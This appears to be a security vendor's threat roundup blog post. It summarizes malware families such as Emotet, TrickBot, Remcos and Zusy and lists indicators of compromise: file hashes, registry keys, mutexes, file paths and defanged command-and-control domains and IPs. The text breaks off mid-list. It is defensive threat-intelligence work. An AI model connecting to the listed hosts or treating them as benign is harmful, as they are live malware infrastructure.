For each threat described below, this blog post only lists 25 of the associated file hashes and up to 25 IOCs for each category. An accompanying JSON file can be found herethat includes the complete list of file hashes, as well as all other IOCs from this post. A visual depiction of the MITRE ATT&CK techniques associated with each threat is also shown. In these images, the brightness of the technique indicates how prevalent it is across all threat files where dynamic analysis was conducted. There are five distinct shades that are used, with the darkest indicating that no files exhibited technique behavior and the brightest indicating that technique behavior was observed from 75 percent or more of the files.

The most prevalent threats highlighted in this roundup are:

Threat Name Type Description
Win.Virus.Parite-9970689-0 Virus Parite is a polymorphic file infector. It infects executable files on the local machine and on network drives.
Win.Malware.Zusy-9970856-0 Malware Zusy, also known as TinyBanker or Tinba, is a trojan that uses man-in-the-middle attacks to steal banking information. When executed, it injects itself into legitimate Windows processes such as "explorer.exe" and "winver.exe." When the user accesses a banking website, it displays a form to trick the user into submitting personal information.
Win.Dropper.Remcos-9970861-0 Dropper Remcos is a remote access trojan (RAT) that allows attackers to execute commands on the infected host, log keystrokes, interact with a webcam and capture screenshots. This malware is commonly delivered through Microsoft Office documents with macros, sent as attachments on malicious emails.
Win.Malware.Emotet-9970880-0 Malware Emotet is currently one of the most widely distributed and active malware families. It is a highly modular threat that can deliver a wide variety of payloads. The botnet is commonly delivered via Microsoft Office documents with macros sent as attachments to malicious emails.
Win.Dropper.TrickBot-9970890-0 Dropper TrickBot is a banking trojan targeting sensitive information for certain financial institutions. This malware is frequently distributed through malicious spam campaigns. Many of these campaigns rely on downloaders for distribution such as VB scripts.
Win.Dropper.XtremeRAT-9971238-0 Dropper XtremeRAT is a remote access trojan active since 2010 that allows the attacker to eavesdrop on users and modify the running system. The source code for XtremeRAT, written in Delphi, was leaked online and has since been used by similar RATs.
Win.Dropper.Kuluoz-9971090-0 Dropper Kuluoz, sometimes known as "Asprox," is a modular remote access trojan that downloads and executes follow-on malware, such as fake antivirus software. Kuluoz is often delivered via spam emails pretending to be shipment delivery notifications or flight booking confirmations.
Win.Dropper.Shiz-9971537-0 Dropper Shiz is a remote access trojan that allows an attacker to access an infected machine in order to harvest sensitive information. It is commonly spread via droppers or by visiting a malicious site.
Win.Packed.Fareit-9971247-1 Packed The Fareit trojan is primarily an information stealer with functionality to download and install other malware.

Threat Breakdown


Indicators of Compromise

  • IOCs collected from dynamic analysis of 29 samples
Registry Keys Occurrences
Value Name: HideFileExt
Value Name: Hidden
Value Name: fullpath
Value Name: LanguageList
Value Name: @explorer.exe,-7001
Files and or directories created Occurrences
%TEMP%\<random, matching '[a-z]{3}[A-F0-9]{3,4}'>.tmp 29

File Hashes

0536b9760519d832e0c5ff072cad054ef2ae43dbe57330d48c609aeb75e6ae43 0fb870a5615c6c24fa559ae795c3366d80a97622fe2efac880330772344a9760 10308179aec9cf03dfe7fcd95aba9f1da191f70406d653157ea3746e63423c93 15e5fc751dbee4b99c094bbfd15d5b4c3655e0a8a34af84cb4773f2bcd265db8 16048c5e4b000118579343bcf188dbb5bcc0d313bd144a08a76423a7ff990c58 1a16bf0852508c3742325cd1b25c6fa9f9580e42017f273ff81d41edea8bd579 23c44b2d663dcb0224e7a2dcbd9a179923baf1c1d95f221f0435eef3fa6c7913 264dfb45197cb3e37d2054313e54c5549dd53f9d6cbc4a7cf9963b8275e59811 3605daf57520cfe6759abc471cb9a55ff4a6b99711ee3718ce6db3438b63a7e0 39139ac00356189a53c9122b4efa10a9e5ca42b25656cc794d4199d5a0e6003a 3a19cc265b1767563c293cfe5dfd8083a1cb72e37625bd243538f210594bd9bf 51f14dad750e0a93bdf69200d726c8f929a6e903dc837fefc5b2efdf7b33493e 530e290a3e9383bc016d666d4829f2ca2c256f5f32e8c84e71346f1d4a65302a 58950830c787ae1768a8d5aab290270b089b04e61d39e6b82a7daf51696fea03 5b0d897a5c748d58c536b19b0d16b3262cc238d65ac41d22f4552d1a2a0ea966 66fe640d820e530e4554251bcb07177a4f2fdea28fc13beb588898a0374fd20d 714ced6bb466961048291a1f89355892490a10bd6e206a256b2e3b97bf1fec55 7dbd9b1e5792f9085af025e526f331e00c878b2adc2e0d8c4a2c5dba4d79a32b 8c8c7b2a40fcdff745e87d060daac5798bda65e8e1568dd46e69d703a5adace3 933768be5d22750f182e69c91630a6f7af6f5db309ba61f83d5547c9a8865273 95463bf7d0d934880a1292e479f56d69596e43062eb18265ef43905702551af0 a1af5ed894006b1690455b12e58c117725a5274e7fc6f8410af119429171372d a9a2deaa34de9ebc68523c18ad02f8a27aae60818fda1583440df25f336f61c2 aedea0e8e6ee4e36191b3e67dcc71e169ea9c1419b5ad4a062f3f2d37a99f3a3 c000e844ca7377e4f3a8e4bfdf0962897effa1622660e8b48d190e2820ff4429
*See JSON for more IOCs


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 13 samples
Registry Keys Occurrences
Value Name: LanguageList
Value Name: @explorer.exe,-7001
Value Name: MaxEntries
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
47[.]111[.]103[.]192 13
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
os[.]ieycc[.]com 13
Files and or directories created Occurrences
\Client.txt 13
%TEMP%\Tomato.ini 13
%APPDATA%\testing.dat 13
\TEMP\1E0F0E0A120B156B155B15E0C0F160E0D160A.exe 1
\TEMP\1F0F0D0C120A156D155E15E0A0E160B0C160F.exe 1
\TEMP\1F0B0B0A120E156C155E15D0A0F160D0E160D.exe 1
\TEMP\1C0B0F0A120C156F155C15E0B0A160F0E160D.exe 1
\TEMP\1B0C0D0C120A156E155C15C0E0D160D0B160E.exe 1
\TEMP\1B0F0A0D120F156E155C15F0C0E160E0F160A.exe 1
\TEMP\1E0F0B0A120F156F155E15D0B0E160B0D160E.exe 1
\TEMP\1D0D0C0E120C156D155F15A0A0E160C0C160A.exe 1
\TEMP\1E0D0C0D120F156E155C15F0A0E160D0C160F.exe 1
\TEMP\1C0B0C0B120D156E155E15A0E0F160B0D160D.exe 1
\TEMP\1E0C0F0F120A156A155B15A0F0A160E0D160A.exe 1
\TEMP\1E0C0A0A120B156F155D15A0E0F160B0A160A.exe 1
\TEMP\1E0B0C0D120C156C155A15D0D0D160B0D160C.exe 1

File Hashes

015c6d06fe9aaa4844b5e008796cbb854cf6765c2ca398f596dd2fceeceb6c95 0de5af728d4834e450386979efd9681bd54bfeb65f687cccd621f3a20331c050 43d5fb959a8c848030537e37f0d0638bc57bb83652dba85ee2e868a17f1d10ef 568bc0b8c2e914ca7cb2f62bfd82839c584d14d3d47b96ea34703b9d024c78ec 7539e13bb8b001f08742f38c29b42135a2b414e2ba095cf3bf74f38db78f3e0f 80459aa210f4e16b123a27b47c1191872b79a6c6a8751613ad1b649a0f1f3426 974e745bbf32ea7bf0bcff7bd04e3b13f8f3c9cf8a79d01f34658729c793e333 aa22f56078cf431f2587ea270f428fff6d4eee5b08d542b40b89a9712e14e5b3 acf7e8303fd53c63b778a611773267ecf001225772bee1fccbd2a2370ad6e658 ae24b008cb2dc1855367cd814581f1092d9899a77e982f8fc746409c29afbaaa b13513bd0c731f688fe25804c6dd74a3126d0494549368c8d692bd85d2024e5f e35cb24702c24b57edf8f1439a1409b6c8c0f97bc30a90a3c396fdd0f3c38f84 f9501ffa9e293c88c61e0071fdc5b7ce2d00e1c8bc20a564ab906dfb9565e4c7


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 42 samples
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
172[.]98[.]192[.]37 42
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
www[.]djapp[.]info 42
Files and or directories created Occurrences
%TEMP%\<random, matching '[a-z]{3}[A-F0-9]{3,4}'>.tmp 42
%APPDATA%\Microsoft\Windows\Cookies\NFIM9G9G.txt 10
%TEMP%\FltFD54.exe 1
%TEMP%\FltFAC5.exe 1
%TEMP%\FltFF0C.exe 1
%TEMP%\FltA28D.exe 1
%TEMP%\FltE1AD.exe 1
%TEMP%\FltFAB6.exe 1
%TEMP%\Flt593A.exe 1
%TEMP%\FltF8C2.exe 1
%TEMP%\Flt4F6E.exe 1
%TEMP%\FltFB71.exe 1
%TEMP%\FltA461.exe 1
%TEMP%\FltFD74.exe 1
%TEMP%\Flt23BD.exe 1
%TEMP%\Flt8A88.exe 1
%TEMP%\FltBC04.exe 1
%TEMP%\FltF633.exe 1
%TEMP%\FltB040.exe 1
%TEMP%\Flt6184.exe 1
%TEMP%\Flt540D.exe 1
%TEMP%\Flt5D82.exe 1
%TEMP%\FltBD3A.exe 1
%TEMP%\tnf5FD1.exe 1
%TEMP%\FltC777.exe 1
*See JSON for more IOCs

File Hashes

00cda027a316d979f614cd747e8eea14fcc1f7a144b5eb5fc385ea3b52ada9ac 04a7c806cd6404d5547bf136331733e970364c0090c705b0002170ca7fa59882 06a0c6a86e47342846759164e0a7da0087e5926d1bdf48b64ad106b6e53951a4 0d103909b0c3e6ac0021b1aa8bbd17b50d1f94ccfb6011a1b70609b6a45668fe 0d503f2d89c74456f441b95033f1f7f1b5f8c9b9ef338c177beb7e22c3844cb8 13d63a2102b3685464c7f32f95fb4ed6287f51db1da590f7141ad36d2ec0fe00 16de9b5489c9bc4900f94a6939e4a5124caee0ce2ac4dcd938850385c35ecd94 16e1726e22af546ae83bf70500135f69e1f3805c2c49752b6098c07f0815307a 1bb3b038b6da9ca30bf12a24ab4e0361ff60c6375bed74492ac37652e2ecd3da 23f59e71fd7d520a50ae1aaea2c026ae2f05a85d6bf1f24301ceac52e713157b 24d621a695ef4fae5b296bc2bb6071cc90b9c56415f70464797e69080b6a7e75 2635c53ba6293fe95e539dfd0f480835ceb7b47c6971a3024ae8443893eca176 2c65cccfb66e0773395cd78f4c742f03cdf3d482357278cf53cd47ea87f62f04 2d82667b13cc3acb398ae87a83674ce3a334867e82d20b4fd809a14d10323084 2e53c50fd916da51599be464f226b09f28d70fe323cb292c115b9723d402ddde 3457b58ade09a9a581003687d9bd904c6200dcc96aafbb24450c371a165c96d8 3832ee4b74d72c5b4e8299cc9e20248145ff74a7364ebfeb2baa9ee60c0a00d8 38ff5081e308b00e57028e3ad749ae4dccf165796a073fafacd6e6cbad31cc21 3e278b7296bcb58b47e8d60ee9a7f44c548a6d790cdf45fcdff6bc526c395a93 3f4fa0de7c9e2b18b0e16b1cbd72dcc279d5ab6b727992a158ed4bced8663f87 40318b04af3f4761f989d5725e61fc41bd034990e3a86478c897466416632c44 4126cae93a6d1471fbf37ef4a73347ed4fa136486fe7229b06721db5d50ed27c 479e0fa51921d000d9ae53beb96c8d88b3e90ba563b7595db6d015fe0c41beea 50532f85c712a7ba7e79ba23130a568fdfcfde7c3bdbcec90edea02aacef7f9b 535e141dc2b44bdafa9fd3ef6c3355413bd7837c5bfc398c608ea49e150b7727
*See JSON for more IOCs


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella This has coverage
WSA This has coverage

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 25 samples
Registry Keys Occurrences
Mutexes Occurrences
{24d07012-9955-711c-e323-1079ebcbe1f4} 25
{bf18992f-6351-a1bd-1f80-485116c997cd} 25
{dbad1190-816b-947c-9b01-53ef739d7edb} 25
{ed099f6b-73d9-00a3-4493-daef482dc5ca} 20
Files and or directories created Occurrences
%APPDATA%\Microsoft\Crypto\RSA\S-1-5-21-2580483871-590521980-3826313501-500\a18ca4003deb042bbee7a40f15e1970b_d19ab989-a35f-4710-83df-7b2db7efe7c5 25
%System32%\Tasks\Ryddmbivo 25
%APPDATA%\<random, matching '[a-z0-9]{3,7}'> 25
%System32%\8452\eudcedit.exe 1
%APPDATA%\EoXbu\BdeUISrv.exe 1
%System32%\9450\VSSVC.exe 1
%System32%\7744\ComputerDefaults.exe 1
%APPDATA%\RAQ9\calc.exe 1
%System32%\9936\psr.exe 1
%APPDATA%\Q7e9\rekeywiz.exe 1
%System32%\5094\WindowsAnytimeUpgrade.exe 1
%APPDATA%\U6yhd\DeviceDisplayObjectProvider.exe 1
%System32%\5022\msra.exe 1
%APPDATA%\EtXM\fvenotify.exe 1
%System32%\1402\ddodiag.exe 1
%APPDATA%\bsPEU\wbengine.exe 1
%System32%\6726\StikyNot.exe 1
%APPDATA%\Kal6bb\sethc.exe 1
%System32%\6787\ie4uinit.exe 1
%APPDATA%\Y74EoZ\Dxpserver.exe 1
%System32%\7651\rrinstaller.exe 1
%APPDATA%\aF7U\WerFault.exe 1
%System32%\6604\DeviceDisplayObjectProvider.exe 1
%APPDATA%\rmluRRx\MRT.exe 1
*See JSON for more IOCs

File Hashes

0be6c8c9f6626f0cbc875a04f81d65ec51646285f607fc23610ced0698d2d356 0e00806596a0084133b662804d645e485a94d42b50e7634608bfc572bc6f99bc 10d50610dc069e961878c8d2be79f7ba638125c2f0229086f27d2261f7ef7074 209494092b65fdebe368f90fdf69cd878f931fb334c059611ccabe84301887e2 24273a46f41c978ebd1b7014cd43c05d7273e638fa539e21adf9b16fcd6d7fa4 270234993c0381d55e1d5615099a692a0e11139d6d5b353f625ac6197cc5fadd 2ce15b1bfa8a577f79da8bbcf2159bf3661aed963cdbbb59ddbf333da4bb52ea 370de40215ce6a4e8f27e33d7a6edcd9cc4c86dc39aa86246d02308f556ff39e 5239bbf6672c93344f21741c4016ea154db5f6aa3989514244de6c55532f54d4 5341a8e7076ea8dbba28ed69ec1130f361c7e90505afbb191f639d6b8295a3e7 634295ad711f68679e6471766d8ca49454c7276348211b6d99a5539e314e7ddb 64c51179f273e00dcb08ddf0c401a3e7c6b4441421f4a0f907bc32f4aaf54191 65c0c35adfcd488cde26d72ba39dd77052f0d6f54c40d10003d824ce1079a630 670db2f68e0bb350f98d1f0ea9624e45536473bb9f1552270be89d87aba17ed9 77c9d7eb923718013ec2145d35a18f17b326655e226b6f252ca6967b0837b39a 8ded5e3631dcd94576d1770289b38005c95c1456588157fd01ea6191c7bcaf1a 91c351ad5a31c40ccf05069b4dde6d0d8e2ff7e78118ca4d110bfe8fcef7d5b6 96e1d30dda3746847269a2707bf4261deadf3d146d1e9df5bd163743ef6b0902 9cebaa66b09ae6043e137c87fece4f2f55a3ae9cbbbb64414e0202a6d3db8932 9d019b660a52484961f7d540d3fe62da22c2c09be968474a614f9dd94ae8c7e5 a2074b34223a80ea0a46784e03ab9e09f86deb98c470c10b2999692fe19777b3 a81460aa2b31719c28672cc624c8fd83e3cbde9d4fc59fb1c55a0713b22a031b a8e2070710eb026f8d9aa46032576b1d474171ea11bb6d2cff97cc9e2069a3af ae65c3182b13c9012b1fc98d483a3c1c7bfd82193d1cd14b1e2a0572458530b1 ae8b637375e736db787d31a4081f2f39ce25908f3276807e43a6eceb4e511377
*See JSON for more IOCs


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 10 samples
Registry Keys Occurrences
Value Name: LanguageList
Value Name: @explorer.exe,-7001
Value Name: @C:\Windows\system32\DeviceCenter.dll,-2000
Mutexes Occurrences
Global\VLock 3
Global\683173c1-3af4-11ed-9660-001517635527 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
104[.]18[.]115[.]97 2
91[.]83[.]88[.]51 1
92[.]63[.]102[.]64 1
195[.]133[.]144[.]237 1
34[.]160[.]111[.]145 1
195[.]133[.]196[.]130 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
obyavlenie[.]lisx[.]ru 10
icanhazip[.]com 2
ipecho[.]net 1
Files and or directories created Occurrences
%APPDATA%\winapp\Modules 3
%System32%\Tasks\services update 3
%APPDATA%\winapp\client_id 3
%APPDATA%\winapp\group_tag 3
%APPDATA%\winapp 3
%APPDATA%\winapp\24ae736c30cacc5f26f34e07c47ca97c.exe 1
%APPDATA%\winapp\0g5d59dff6a3d3g20046c0ga554f8f9ef8d3e2c767g46c2592d53d6c604df5g9.exe 1
%APPDATA%\winapp\39g7366fcac6cdd0a64ag077e5ga30354aggg87d682e9cd06940033777cefaf2.exe 1

File Hashes

0a9fd6d744cc4fa8e08eee7c95c58d6cb9cb995a249597bdc8beba4ab5fdd921 0f4c49cee6a2c2f10036b0fa443e8e9de8c2d1b757f36b1491c42c6b503ce4f9 14bf94de8b881459e2f6f49051b1411da60e3526251751048bdde18f99d93f1e 29f7266ebab5bcc0a53af077d4fa20243afff87c681d9bc06930022777bdeae1 42162ca740023f144cf1f5efc8f9680f5db0ac16e0cf9eeb88f57275a5bbd38e 489d8e1c47548164a35abb21dbe155972aa09e6c65c0fd7456baf79d3ffb3539 7820f15d39888555e5d2189015d13491d58e2c345921064777155febcaf9b88e 8c1326a8e1f6c781441f3a5da6fe962337a03b9a3ffd93495e933e051d24f4a0 eac3e3c5636e62a6865ff6e048875506d16ed22ffd8caca23529407eb94a2478 f3395ab28c54a61118784d205926e7122ff7735d92d992c22db9dd63fd3a8e28


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 25 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\<random, matching '[a-zA-Z0-9]{5,9}'> 16
<HKCU>\SOFTWARE\<random, matching '[a-zA-Z0-9]{5,9}'>
Value Name: InstalledServer
Value Name: HKLM
Value Name: HKCU
<HKCU>\SOFTWARE\<random, matching '[a-zA-Z0-9]{5,9}'>
Value Name: ServerStarted
Value Name: StubPath
Value Name: StubPath
Value Name: StubPath
Value Name: StubPath
Mutexes Occurrences
<random, matching [a-zA-Z0-9]{5,9}EXIT> 15
<random, matching [a-zA-Z0-9]{5,9}>PERSIST 11
<random, matching [a-zA-Z0-9]{5,9}> 6
zZgdeZ8P 5
Q6gWX0 5
Global\<random guid> 4
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
profesorjedi11[.]myftp[.]biz 10
profesorjedi3[.]myftp[.]biz 3
clarityz[.]no-ip[.]biz 2
dynamic[.]no-ip[.]biz 2
cooempresas1[.]ddns[.]net 1
Files and or directories created Occurrences
%TEMP%\x.html 15
%SystemRoot%\SysWOW64\System32 10
%APPDATA%\Microsoft\Windows\<random, matching '[a-zA-Z0-9]{5,9}'>.dat 6
%APPDATA%\Microsoft\Windows\<random, matching '[a-zA-Z0-9]{5,9}'>.cfg 6
%SystemRoot%\SysWOW64\Sistem32 5
%APPDATA%\Microsoft\Windows\zZgdeZ8P.cfg 5
%SystemRoot%\SysWOW64\System32\crrsc.exe 5
%APPDATA%\Microsoft\Windows\zZgdeZ8P.dat 5
%APPDATA%\Microsoft\Windows\Q6gWX0.cfg 5
%SystemRoot%\SysWOW64\Sistem32\crrsc.exe 5
%APPDATA%\Microsoft\Windows\Q6gWX0.dat 5
%SystemRoot%\SysWOW64\System32\csrrs.exe 3
%SystemRoot%\SysWOW64\System32\csrss.exe 2
%SystemRoot%\SysWOW64\Drivers\System.exe 1

File Hashes

02bbfb5be9238a07f4bbc310640558187fffe927b6c61aef277f25e556b42976 034fd97c565ab91825e7d810d5e629f00bb25f54ac1ed7f1846e7f1c23d1ecd2 104a08c153d9d099bad368fc405a2888a153bfaa1cf33f99f43fbc1b97d0282f 1a7fa38a87b8d63bdef718b54626476dd952673e010877eb0412041a227ae587 1b70089136743505bd03a024ed1d6faca2a618397aecf14eceafed7e708c42ef 1d281e8cd1c5e451d069a2df9eed854f4bfa28e91881e7e2bfea2be0cfd6e2d0 2a4841ab8656fedadeb5dcc16821ca4789ba29a1df607c72f73fe6de8c55f965 4a5a09ce229c5f06f96114b0c55b1b2a645b75ab6e5f1f3df524efc9e6b549df 4e960f7a51969cc989219642701cb327e7713462eff60866099fb16632e1c636 521f339fe84053ddc608a8f1faf2774ea1f6fa1ee3ad252f642967f27c2ebb2e 52f4aba104b5caadff9baa7eb92e4ff21c176ff183a59f0283555de081e74c9a 53743558915afca3fcf12a83095ed8448502c37ac0ce847268bd34ff2b17eaef 54d8e6f9d64d480ad1381ddcd730d786be7b94b34154fa9ae6a46fc06670732a 58432dc37d6e18bf7f719c42d1a955374dc04c737ec433384fa61ea7c895ce8a 5f0a9ba0fc1146512ec06df04fb3eedcaaf67df5534d2895bdee7d39dbb767d4 6aeceda58114f30d5286bf84e92bfc293d5fb1ed4648c29d9e6ba6e229ad6c0a 73711c78caf84f57df3e54a7e0d47dc5b91c73d521e6e5de2da31694c7a2cd1d 747ae8b9f401e6f92381039c80d98f2fbff9f1c94ab1479c23e9bd67714208b5 7d56d2784dafc2edb6f002e66504b3222f899712167f5d67878e576adf5bfff4 87365c8be5e1df23024d4f06108ca715ca6960fab1db19241af01dc249049b34 95774b16ad3920dee24ad1211ad677003bace3db07e351dcfa92ea8c9fb0de4d 9811dc1790865ba850a085b86faf45d12e6d18de3746fba1f79e7d5bc07b81e6 9fc0af5f00d92876795d06cadc1ec27ce789be7d4396cca1a4d39c10a1a13cee cf6bf580a1c08b6d4c8e4b73c65a156dd87e6157b358a22f58e6c4e741a62088 d2dd951900f73760709d95358434a8d382363f78cbd78a4476e361225b2fdb90
*See JSON for more IOCs


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 26 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\<random, matching '[a-zA-Z0-9]{5,9}'> 26
Value Name: simfbhec
Value Name: fihacxpj
Value Name: rtvamnqd
Value Name: jqusubuo
Value Name: kilanrco
Value Name: ibmqpuls
Value Name: opoiitvt
Value Name: qmiabusl
Value Name: mwxoukfx
Value Name: micawbbp
Value Name: jtqieuec
Value Name: lmpebxqp
Value Name: emgsvrci
Value Name: jkxkagel
Value Name: bgmxnfso
Value Name: akpgniqk
Value Name: hrcgucbt
Value Name: etduinsg
Value Name: pjecpkuu
Value Name: mxopsxdc
Value Name: vfkeebww
Value Name: icccipkm
Value Name: ilxotnrg
Value Name: kchufmmw
Mutexes Occurrences
aaAdministrator 26
abAdministrator 26
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
69[.]64[.]36[.]244 21
16[.]156[.]201[.]237 17
110[.]77[.]220[.]66 15
5[.]249[.]139[.]132 15
85[.]12[.]29[.]251 13
5[.]175[.]166[.]35 13
130[.]60[.]202[.]71 11
198[.]57[.]165[.]46 10
Files and or directories created Occurrences
%LOCALAPPDATA%\<random, matching '[a-z]{8}'>.exe 26

File Hashes

01e772c69c3d96d7da41baf1b4630a9b93cda39bd4b5b0234f1de2a818788965 0507e74fa55bfb2a725358b0e5d2a3ad82d95a15b8dda89eda0892276855c6e0 0575881e5f371494a9b928ea409bce3fc15b35f4a6fc47f5b3ccc267e6428d05 13830d13f9538029311649ec0b7d2b70afd36d0d38432550c973123429eb940b 14b22ef72fd4f36063c344d7358e32d9529010b303b09bcc11f562bf2d4981a7 1f226936fa8a2ae6ff457619b2883377cbe741decadc705095d4527a7ae9a4d8 21f96423b4b10c910ef1ae4f584ed1e49944f2166c41aac0d9f53ad042933f89 25c31d64ed3db07f502aee95703ec407b34dff5a3fdc34bf2b3b64250f2ec0e2 3578e19cbb128d0b2b7fb009c8041deed69144c0e20e6c58c18967a2abcc0c1b 422f405e2d70ed3bd58f6e9c4ef7d1a4ed8b912fc8acde5cab9068f34fc55f09 46b398648a6f022657c1a7a6bf0dae147562f354b34fa9b82103d8566b01c771 4cc31dc0d33247799cb383ede808dea70ab9081847e46b2ce95e2c054cd97011 576ed58a06ae914ae06a711af19b30a9f02ece2d435f84b7bea71fedc19dd995 5bad5333dcfea5b33727b34cde45b54d36cbf01d3fb0a1a915de8df1569b4fb1 5e3329e3193099fe8e09922ac85a7ab3e8ae89f0ae4f0f7a93fb30aacc7726e3 5e398a7762fe420158605cfb72bc309197c7c9346fc43a5cc8ccb0a14db25483 66b43dd194bf97f705c361ad1cc82a0f5c1afca7b03d57f99a3011cdefdc536f 6da9fe76f563ff6265b8971b601fb5037a93011fb16294b5ee7564f332d554ed 6ed6b8dececdaf3ee4ce0072d309125c5cef6e3ffef23f48baa3b0d3763462be 7c42e9ea360ccfb28b41c3490b305dcace56fea64e858ac3cde0984f6c9f3d07 816c6679de23475fe46588ce4380091c985ad689210fbf4daea6ca383f423465 8379ba1a2904b162411009fbe1bc4c94efd1ccf72ab38989dffb2077c1a0ec74 86e574bcb8a28b933731a83f9166c23c717a9840dfdecffde9130e9a2d598e08 8e39459d72319dc5e7f184b363ac8d7e3a486fbc6e02f9ad2273d0b0502a188d 8e5f994ccd02d59bc203efd3ff130575c4d9c170599592dd45696b87c4f4b420
*See JSON for more IOCs


Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A

Screenshots of Detection

Secure Endpoint

Secure Malware Analytics



Indicators of Compromise

  • IOCs collected from dynamic analysis of 27 samples
Registry Keys Occurrences
Value Name: internat.exe
Value Name: ProxyEnable
Value Name: UNCAsIntranet
Value Name: AutoDetect
Value Name: 67497551a
Value Name: load
Value Name: run
Value Name: userinit
Value Name: 98b68e3c
Value Name: userinit
Value Name: System
Value Name: run
Value Name: userinit
Value Name: KnownFolderDerivedFolderType
Mutexes Occurrences
Global\674972E3a 27
Global\MicrosoftSysenterGate7 27
internal_wutex_0x<random, matching [0-9a-f]{8}> 27
internal_wutex_0x000004b4 26
internal_wutex_0x0000043c 26
internal_wutex_0x000004dc 25
internal_wutex_0x000000e0 1
internal_wutex_0x0000038c 1
internal_wutex_0x00000448 1
internal_wutex_0x000006a0 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
204[.]79[.]197[.]200 15
13[.]107[.]21[.]200 12
45[.]33[.]23[.]183 8
173[.]255[.]194[.]134 6
72[.]14[.]178[.]174 6
72[.]14[.]185[.]43 6
45[.]56[.]79[.]23 5
45[.]33[.]2[.]79 5
45[.]33[.]30[.]197 5
45[.]33[.]18[.]44 4
45[.]79[.]19[.]196 3
198[.]58[.]118[.]167 3
85[.]94[.]194[.]169 2
96[.]126[.]123[.]244 1
45[.]33[.]20[.]235 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
kevopoxecun[.]eu 27
rycaropynar[.]eu 27
lyxemoxyquf[.]eu 27
puzoxyvojyc[.]eu 27
fotaqizymig[.]eu 27
cidufitojex[.]eu 27
puvacigakog[.]eu 27
xuboninogyt[.]eu 27
cicezomaxyz[.]eu 27
dixyjohevon[.]eu 27
fokisohurif[.]eu 27
volugomymet[.]eu 27
maganomojer[.]eu 27
jefecajazif[.]eu 27
qedylaqecel[.]eu 27
nojotomipel[.]eu 27
gahoqohofib[.]eu 27
rytifaquwer[.]eu 27
kepujajynib[.]eu 27
lyrosajupid[.]eu 27
tuwaraqidek[.]eu 27
pumebeqalew[.]eu 27
cinycekecid[.]eu 27
divulewybek[.]eu 27
vocijekyqiv[.]eu 27
*See JSON for more IOCs
Files and or directories created Occurrences
%TEMP%\<random, matching [A-F0-9]{1,4}>.tmp 27
%TEMP%\F1A0.tmp 1
%TEMP%\8350.tmp 1
%TEMP%\6709.tmp 1
%TEMP%\5ABC.tmp 1
%TEMP%\DF95.tmp 1

File Hashes

03ceb23a35bcd7170f8e2293c15aa444406959d789fda9ff9e412cf7a3a6ad90 0a00f10084231e3abf745b456d522c27a284cd17e5824a91026e6511a0073792 0a9d1eec9b14e840863b4948703b4c1a50b8d1c16d6cd6c0191ed55e82864ea3 0aa380118e812371de65b56f760676f611ddda8a7dd422ed1e62214c2a8303d1 0b38f48ffc49f1b53724384bd894702bcf49f2d68c1b84e4e0eeb931d572d294 0b8cfcf3c71b18b73ec50c68115b5d7538eab4d21168272d547e4b6316ed592a 0d8afb797e2ce9f712f3b5fb22317ec97cd8ea55b85855ffb33f362f45e3b706 10d952070cca8a50175e4193e23e798484f215faa6ac8261b37caebb4ae4c22a 16487b9aabc544819f3e1843e196d8e6b982b15ae95b9b599af310c0f4a0763e 1751820a0b3e9669c512077ef08caa8cc8bd7cba8bb54eb97c574ba6dfa09d2d 1bafc4ef3a634e29c71f52e5b0f3ea6ab3cd55e25ef9623d8d21302a13ac4833 21c50af5ea57cf75b6bcf6e74b8008b335a440d4f4fd8499d2abc287116a0100 2473d34831b6fef2e985c045c3a00880d05aceeeac10edf1f09ff38a1cbc44af 2602a1096a4eec7291145b4570c1a0e814c03fba18d3d76d1b82f6e0dacaecf8 2656072242b6777473e258b7f0fc7777cda688fe95f0050f375ffeb12f000c28 2856afa65f2c7f0a23be68ce6899f24a9d3e12fa4f3b00644562e1ecdc06eed1 